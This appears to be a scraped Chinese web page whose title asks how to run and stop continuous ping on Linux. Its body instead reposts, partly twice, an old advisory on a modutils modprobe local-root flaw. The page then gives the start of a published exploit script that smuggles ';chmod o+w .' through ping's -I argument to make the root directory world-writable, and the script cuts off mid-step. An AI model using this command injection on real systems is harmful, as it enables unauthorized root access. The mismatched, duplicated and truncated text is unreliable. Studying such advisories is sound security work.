linux如何持续ping,如何停止linux下正在执行的ping命令 – 手机爱问

3cf7b808f0216642f323f7b3b498be89.png

2017-07-27

Linuxmodprobe如何执行任意命令漏洞?

受影响系统:

GNU Linux modutils 2。3。9

+ S。u。S。E。 Linux 7。0

+ S。u。S。E。 Linux 6。4

+ RedHat Linux 7。0

不受影响系统:

GNU Linux modutils 2。 3。11

描述:

绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加载与来自命令行的模块名相匹配的模块。Modprobe 2。3。9版(可能还包括前后临近的一些版本)存在一个漏洞,可以用于本地获取root权限。

问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()...全部

受影响系统:

GNU Linux modutils 2。3。9

+ S。u。S。E。 Linux 7。0

+ S。u。S。E。 Linux 6。4

+ RedHat Linux 7。0

不受影响系统:

GNU Linux modutils 2。

3。11

描述:

绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加载与来自命令行的模块名相匹配的模块。Modprobe 2。3。9版(可能还包括前后临近的一些版本)存在一个漏洞,可以用于本地获取root权限。

问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()函数依赖/bin/sh解析命令行并执行"echo",如果用户输入带有某些可利用的shell控制字符,就可能导致其它命令被执行。

缺省安装后modprobe本身并未setuid-to-root,但是可以间接通过kmod利用该漏洞。

当通过request_module()调用请求加在一个模块的时候,Kmod自动执行modprobe。

RedHat Linux 7。0携带的ping程序具有这种特性。当命令行上指定设备不存在时,request_module()被调用,指定设备名作为参数传递进入内核。内核用这个参数执行modprobe。

此时由于是root做popen()调用,所以很容易获取本地root权限。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Michal Zalewski 提供了一个RedHat 7。

0下的exploit code:

rh7-modprobe。sh

--------------------------------------------------------------------------

#!/bin/sh

echo

echo "RedHat 7。

0 modutils exploit"

echo "(c) 2000 Michal Zalewski "

echo "Bug discovery: Sebastian Krahmer "

echo

echo "Do not have to work on older / non-RH systems。

This bug has been"

echo "introduced recently。 Enjoy :)"

echo

echo "This exploit is really hackish, because slashes are not allowed in"

echo "modprobe parameters, thus we have to play in modprobe's cwd (/)。

"

echo

PING=/bin/ping6

test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then

echo "Sorry, no setuid ping。

"

exit 0

fi

echo "Phase 1: making / world-writable。。。"

$PING -I ';chmod o+w 。' 195。117。3。59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /。

。。"

cat >/x。c

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值